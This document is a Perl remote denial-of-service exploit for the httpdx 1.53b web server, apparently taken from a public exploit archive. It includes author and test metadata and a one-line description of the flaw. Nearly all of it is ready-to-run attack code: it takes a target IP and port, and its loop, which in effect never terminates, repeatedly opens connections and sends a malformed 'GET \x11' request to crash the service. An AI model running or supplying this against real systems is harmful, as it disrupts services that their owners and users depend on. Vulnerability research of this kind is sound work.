#!/usr/bin/perl # # Exploit Title: httpdx1.53b (sockets++ crash) Remote Denial of Service exploit # Date: 22.02.2010 # Author: d3b4g # Software Link: http://httpdx.sourceforge.net/downloads/ # Version: 1.53b # Tested on: windows xpsp3 vmware # webpage:www.d3b4g.info # I'm from tiny little island's of maldivies # # The vulnerability is caused due to an error in multi-socket. # This can be exploited to crash the HTTP service. use IO::Socket; print "[+] Author : d3b4g\n"; print "[+] Soft : httpdx1.53b Remote DoS\n"; if (@ARGV < 1) { print "[-] Usage: \n"; print "[-] Exemple: file.pl 192.168.2.1 80\n"; exit; } $ip = $ARGV[0]; $port = $ARGV[1]; print "[+] Sending request...\n"; for($i=0;$i=4;$i++) { $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-]Done!\n"; print $socket "GET \x11 HTTP/1.0\n\r\n"; }